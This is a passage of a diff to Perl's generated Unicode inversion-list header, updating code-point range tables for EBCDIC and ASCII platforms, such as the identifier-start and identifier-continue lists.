-	WB_Extend,
-	WB_Other
-};
-
-#endif	/* defined(PERL_IN_REGEXEC_C) */
-
-#if defined(PERL_IN_REGCOMP_C)
-
-static const UV UpperLatin1_invlist[] = { /* for EBCDIC 1047 */
-	55,	/* Number of elements */
+static const UV PL__PERL_IDCONT_invlist[] = { /* for EBCDIC 037 */
+	1413,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x4,
-	0x5,
-	0x6,
-	0x7,
-	0x8,
-	0xB,
-	0x14,
-	0x15,
-	0x17,
-	0x18,
-	0x1A,
-	0x1C,
-	0x20,
-	0x26,
-	0x28,
-	0x2D,
-	0x30,
-	0x32,
-	0x33,
-	0x37,
-	0x38,
-	0x3C,
-	0x3E,
-	0x3F,
-	0x41,
-	0x4B,
-	0x51,
-	0x5A,
-	0x62,
-	0x6B,
-	0x70,
-	0x79,
-	0x80,
-	0x81,
-	0x8A,
-	0x91,
-	0x9A,
-	0xA1,
-	0xAA,
-	0xAD,
-	0xAE,
-	0xBD,
-	0xBE,
-	0xC0,
-	0xCA,
-	0xD0,
-	0xDA,
-	0xE0,
-	0xE1,
-	0xE2,
-	0xEA,
-	0xF0,
-	0xFA,
-	0x100
-};
-
-#endif	/* defined(PERL_IN_REGCOMP_C) */
-
-#if defined(PERL_IN_PERL_C)
-
-static const UV VertSpace_invlist[] = { /* for EBCDIC 1047 */
-	9,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0xB,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x2028,
-	0x202A
-};
-
-static const UV XPerlSpace_invlist[] = { /* for EBCDIC 1047 */
-	23,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x40,
 	0x42,
-	0x1680,
-	0x1681,
-	0x2000,
-	0x200B,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x205F,
-	0x2060,
-	0x3000,
-	0x3001
-};
-
-static const UV XPosixAlnum_invlist[] = { /* for EBCDIC 1047 */
-	1381,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0x42,
 	0x4A,
 	0x51,
 	0x5A,
 	0x62,
 	0x6A,
+	0x6D,
+	0x6E,
 	0x70,
 	0x79,
 	0x80,
@@ -53590,11 +164640,7 @@
 	0xA2,
 	0xAA,
 	0xAC,
-	0xAD,
-	0xAE,
 	0xAF,
-	0xBA,
-	0xBB,
 	0xC1,
 	0xCA,
 	0xCB,
@@ -53619,13 +164665,11 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x345,
-	0x346,
-	0x370,
+	0x300,
 	0x375,
 	0x376,
 	0x378,
-	0x37A,
+	0x37B,
 	0x37E,
 	0x37F,
 	0x380,
@@ -53641,6 +164685,8 @@
 	0x3F6,
 	0x3F7,
 	0x482,
+	0x483,
+	0x488,
 	0x48A,
 	0x530,
 	0x531,
@@ -53649,7 +164695,7 @@
 	0x55A,
 	0x561,
 	0x588,
-	0x5B0,
+	0x591,
 	0x5BE,
 	0x5BF,
 	0x5C0,
@@ -53666,50 +164712,38 @@
 	0x610,
 	0x61B,
 	0x620,
-	0x658,
-	0x659,
 	0x66A,
 	0x66E,
 	0x6D4,
 	0x6D5,
 	0x6DD,
-	0x6E1,
+	0x6DF,
 	0x6E9,
-	0x6ED,
+	0x6EA,
 	0x6FD,
 	0x6FF,
 	0x700,
 	0x710,
-	0x740,
+	0x74B,
 	0x74D,
 	0x7B2,
 	0x7C0,
-	0x7EB,
-	0x7F4,
 	0x7F6,
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x818,
-	0x81A,
-	0x82D,
+	0x82E,
 	0x840,
-	0x859,
+	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
-	0x8E0,
+	0x8E2,
 	0x8E3,
-	0x8EA,
-	0x8F0,
-	0x93C,
-	0x93D,
-	0x94D,
-	0x94E,
-	0x951,
-	0x955,
 	0x964,
 	0x966,
 	0x970,
@@ -53727,13 +164761,11 @@
 	0x9B3,
 	0x9B6,
 	0x9BA,
-	0x9BD,
+	0x9BC,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CD,
-	0x9CE,
 	0x9CF,
 	0x9D7,
 	0x9D8,
@@ -53743,6 +164775,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -53759,12 +164793,14 @@
 	0xA37,
 	0xA38,
 	0xA3A,
+	0xA3C,
+	0xA3D,
 	0xA3E,
 	0xA43,
 	0xA47,
 	0xA49,
 	0xA4B,
-	0xA4D,
+	0xA4E,
 	0xA51,
 	0xA52,
 	0xA59,
@@ -53787,12 +164823,12 @@
 	0xAB4,
 	0xAB5,
 	0xABA,
-	0xABD,
+	0xABC,
 	0xAC6,
 	0xAC7,
 	0xACA,
 	0xACB,
-	0xACD,
+	0xACE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
@@ -53800,7 +164836,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -53815,12 +164851,12 @@
 	0xB34,
 	0xB35,
 	0xB3A,
-	0xB3D,
+	0xB3C,
 	0xB45,
 	0xB47,
 	0xB49,
 	0xB4B,
-	0xB4D,
+	0xB4E,
 	0xB56,
 	0xB58,
 	0xB5C,
@@ -53856,7 +164892,7 @@
 	0xBC6,
 	0xBC9,
 	0xBCA,
-	0xBCD,
+	0xBCE,
 	0xBD0,
 	0xBD1,
 	0xBD7,
@@ -53878,7 +164914,7 @@
 	0xC46,
 	0xC49,
 	0xC4A,
-	0xC4D,
+	0xC4E,
 	0xC55,
 	0xC57,
 	0xC58,
@@ -53899,12 +164935,12 @@
 	0xCB4,
 	0xCB5,
 	0xCBA,
-	0xCBD,
+	0xCBC,
 	0xCC5,
 	0xCC6,
 	0xCC9,
 	0xCCA,
-	0xCCD,
+	0xCCE,
 	0xCD5,
 	0xCD7,
 	0xCDE,
@@ -53915,7 +164951,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -53922,14 +164958,10 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4D,
-	0xD4E,
 	0xD4F,
 	0xD54,
 	0xD58,
@@ -53951,6 +164983,8 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
+	0xDCA,
+	0xDCB,
 	0xDCF,
 	0xDD5,
 	0xDD6,
@@ -53964,9 +164998,7 @@
 	0xE01,
 	0xE3B,
 	0xE40,
-	0xE47,
-	0xE4D,
-	0xE4E,
+	0xE4F,
 	0xE50,
 	0xE5A,
 	0xE81,
@@ -53999,7 +165031,7 @@
 	0xEC5,
 	0xEC6,
 	0xEC7,
-	0xECD,
+	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
@@ -54007,35 +165039,31 @@
 	0xEE0,
 	0xF00,
 	0xF01,
+	0xF18,
+	0xF1A,
 	0xF20,
 	0xF2A,
-	0xF40,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
 	0xF48,
 	0xF49,
 	0xF6D,
 	0xF71,
-	0xF82,
-	0xF88,
+	0xF85,
+	0xF86,
 	0xF98,
 	0xF99,
 	0xFBD,
+	0xFC6,
+	0xFC7,
 	0x1000,
-	0x1037,
-	0x1038,
-	0x1039,
-	0x103B,
 	0x104A,
 	0x1050,
-	0x1063,
-	0x1065,
-	0x1069,
-	0x106E,
-	0x1087,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
-	0x109C,
 	0x109E,
 	0x10A0,
 	0x10C6,
@@ -54077,7 +165105,7 @@
 	0x1316,
 	0x1318,
 	0x135B,
-	0x135F,
+	0x135D,
 	0x1360,
 	0x1380,
 	0x1390,
@@ -54098,9 +165126,9 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1714,
+	0x1715,
 	0x1720,
-	0x1734,
+	0x1735,
 	0x1740,
 	0x1754,
 	0x1760,
@@ -54110,15 +165138,15 @@
 	0x1772,
 	0x1774,
 	0x1780,
-	0x17B4,
-	0x17B6,
-	0x17C9,
+	0x17D4,
 	0x17D7,
 	0x17D8,
 	0x17DC,
-	0x17DD,
+	0x17DE,
 	0x17E0,
 	0x17EA,
+	0x180B,
+	0x180E,
 	0x1810,
 	0x181A,
 	0x1820,
@@ -54132,7 +165160,7 @@
 	0x1920,
 	0x192C,
 	0x1930,
-	0x1939,
+	0x193C,
 	0x1946,
 	0x196E,
 	0x1970,
@@ -54147,30 +165175,26 @@
 	0x1A1C,
 	0x1A20,
 	0x1A5F,
-	0x1A61,
-	0x1A75,
-	0x1A80,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
 	0x1AA7,
 	0x1AA8,
+	0x1AB0,
+	0x1ABE,
 	0x1B00,
-	0x1B34,
-	0x1B35,
-	0x1B44,
-	0x1B45,
 	0x1B4C,
 	0x1B50,
 	0x1B5A,
+	0x1B6B,
+	0x1B74,
 	0x1B80,
-	0x1BAA,
-	0x1BAC,
-	0x1BE6,
-	0x1BE7,
-	0x1BF2,
+	0x1BF4,
 	0x1C00,
-	0x1C36,
+	0x1C38,
 	0x1C40,
 	0x1C4A,
 	0x1C4D,
@@ -54177,17 +165201,13 @@
 	0x1C7E,
 	0x1C80,
 	0x1C89,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF4,
-	0x1CF5,
-	0x1CF7,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1DE7,
-	0x1DF5,
-	0x1E00,
+	0x1DFA,
+	0x1DFB,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -54225,6 +165245,10 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
 	0x2071,
 	0x2072,
 	0x207F,
@@ -54231,6 +165255,12 @@
 	0x2080,
 	0x2090,
 	0x209D,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
 	0x2102,
 	0x2103,
 	0x2107,
@@ -54259,8 +165289,6 @@
 	0x214F,
 	0x2160,
 	0x2189,
-	0x24B6,
-	0x24EA,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -54268,8 +165296,6 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -54281,7 +165307,7 @@
 	0x2D68,
 	0x2D6F,
 	0x2D70,
-	0x2D80,
+	0x2D7F,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -54301,12 +165327,10 @@
 	0x2DDF,
 	0x2DE0,
 	0x2E00,
-	0x2E2F,
-	0x2E30,
 	0x3005,
 	0x3008,
 	0x3021,
-	0x302A,
+	0x3030,
 	0x3031,
 	0x3036,
 	0x3038,
@@ -54313,6 +165337,8 @@
 	0x303D,
 	0x3041,
 	0x3097,
+	0x3099,
+	0x309B,
 	0x309D,
 	0x30A0,
 	0x30A1,
@@ -54320,7 +165346,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -54330,7 +165356,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -54340,11 +165366,11 @@
 	0xA610,
 	0xA62C,
 	0xA640,
-	0xA66F,
+	0xA670,
 	0xA674,
-	0xA67C,
+	0xA67E,
 	0xA67F,
-	0xA6F0,
+	0xA6F2,
 	0xA717,
 	0xA720,
 	0xA722,
@@ -54354,22 +165380,14 @@
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
 	0xA828,
 	0xA840,
 	0xA874,
 	0xA880,
-	0xA8C4,
-	0xA8C5,
 	0xA8C6,
 	0xA8D0,
 	0xA8DA,
-	0xA8F2,
+	0xA8E0,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
@@ -54376,20 +165394,16 @@
 	0xA8FD,
 	0xA8FE,
 	0xA900,
-	0xA92B,
+	0xA92E,
 	0xA930,
-	0xA953,
+	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA9B3,
-	0xA9B4,
-	0xA9C0,
+	0xA9C1,
 	0xA9CF,
 	0xA9DA,
 	0xA9E0,
-	0xA9E5,
-	0xA9E6,
 	0xA9FF,
 	0xAA00,
 	0xAA37,
@@ -54400,12 +165414,6 @@
 	0xAA60,
 	0xAA77,
 	0xAA7A,
-	0xAA7B,
-	0xAA7E,
-	0xAABF,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
 	0xAAC3,
 	0xAADB,
 	0xAADE,
@@ -54412,7 +165420,7 @@
 	0xAAE0,
 	0xAAF0,
 	0xAAF2,
-	0xAAF6,
+	0xAAF7,
 	0xAB01,
 	0xAB07,
 	0xAB09,
@@ -54429,6 +165437,8 @@
 	0xAB66,
 	0xAB70,
 	0xABEB,
+	0xABEC,
+	0xABEE,
 	0xABF0,
 	0xABFA,
 	0xAC00,
@@ -54460,6 +165470,8 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
 	0xFD50,
 	0xFD90,
@@ -54466,15 +165478,35 @@
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFC,
-	0xFE70,
-	0xFE75,
-	0xFE76,
+	0xFDFA,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
 	0xFEFD,
 	0xFF10,
 	0xFF1A,
 	0xFF21,
 	0xFF3B,
+	0xFF3F,
+	0xFF40,
 	0xFF41,
 	0xFF5B,
 	0xFF66,
@@ -54503,13 +165535,17 @@
 	0x100FB,
 	0x10140,
 	0x10175,
+	0x101FD,
+	0x101FE,
 	0x10280,
 	0x1029D,
 	0x102A0,
 	0x102D1,
+	0x102E0,
+	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -54577,6 +165613,10 @@
 	0x10A18,
 	0x10A19,
 	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
 	0x10A60,
 	0x10A7D,
 	0x10A80,
@@ -54584,7 +165624,7 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
+	0x10AE7,
 	0x10B00,
 	0x10B36,
 	0x10B40,
@@ -54600,27 +165640,27 @@
 	0x10CC0,
 	0x10CF3,
 	0x11000,
-	0x11046,
+	0x11047,
 	0x11066,
 	0x11070,
-	0x11082,
-	0x110B9,
+	0x1107F,
+	0x110BB,
 	0x110D0,
 	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11133,
+	0x11135,
 	0x11136,
 	0x11140,
 	0x11150,
-	0x11173,
+	0x11174,
 	0x11176,
 	0x11177,
 	0x11180,
-	0x111C0,
-	0x111C1,
 	0x111C5,
+	0x111CA,
+	0x111CD,
 	0x111D0,
 	0x111DB,
 	0x111DC,
@@ -54628,8 +165668,6 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x11235,
-	0x11237,
 	0x11238,
 	0x1123E,
 	0x1123F,
@@ -54644,7 +165682,7 @@
 	0x1129F,
 	0x112A9,
 	0x112B0,
-	0x112E9,
+	0x112EB,
 	0x112F0,
 	0x112FA,
 	0x11300,
@@ -54661,12 +165699,12 @@
 	0x11334,
 	0x11335,
 	0x1133A,
-	0x1133D,
+	0x1133C,
 	0x11345,
 	0x11347,
 	0x11349,
 	0x1134B,
-	0x1134D,
+	0x1134E,
 	0x11350,
 	0x11351,
 	0x11357,
@@ -54673,17 +165711,15 @@
 	0x11358,
 	0x1135D,
 	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
 	0x11400,
-	0x11442,
-	0x11443,
-	0x11446,
-	0x11447,
 	0x1144B,
 	0x11450,
 	0x1145A,
 	0x11480,
-	0x114C2,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
@@ -54692,12 +165728,10 @@
 	0x11580,
 	0x115B6,
 	0x115B8,
-	0x115BF,
+	0x115C1,
 	0x115D8,
 	0x115DE,
 	0x11600,
-	0x1163F,
-	0x11640,
 	0x11641,
 	0x11644,
 	0x11645,
@@ -54704,13 +165738,13 @@
 	0x11650,
 	0x1165A,
 	0x11680,
-	0x116B6,
+	0x116B8,
 	0x116C0,
 	0x116CA,
 	0x11700,
 	0x1171A,
 	0x1171D,
-	0x1172B,
+	0x1172C,
 	0x11730,
 	0x1173A,
 	0x118A0,
@@ -54717,6 +165751,14 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -54724,8 +165766,6 @@
 	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C3F,
-	0x11C40,
 	0x11C41,
 	0x11C50,
 	0x11C5A,
@@ -54735,6 +165775,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -54753,6 +165807,8 @@
 	0x16A6A,
 	0x16AD0,
 	0x16AEE,
+	0x16AF0,
+	0x16AF5,
 	0x16B00,
 	0x16B37,
 	0x16B40,
@@ -54767,16 +165823,18 @@
 	0x16F45,
 	0x16F50,
 	0x16F7F,
-	0x16F93,
+	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -54785,8 +165843,20 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9E,
+	0x1BC9D,
 	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -54849,6 +165919,18 @@
 	0x1D7CC,
 	0x1D7CE,
 	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
 	0x1E000,
 	0x1E007,
 	0x1E008,
@@ -54861,10 +165943,10 @@
 	0x1E02B,
 	0x1E800,
 	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E900,
-	0x1E944,
-	0x1E947,
-	0x1E948,
+	0x1E94B,
 	0x1E950,
 	0x1E95A,
 	0x1EE00,
@@ -54933,12 +166015,6 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -54947,12 +166023,1223 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL__PERL_IDSTART_invlist[] = { /* for ASCII/Latin1 */
+	1189,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
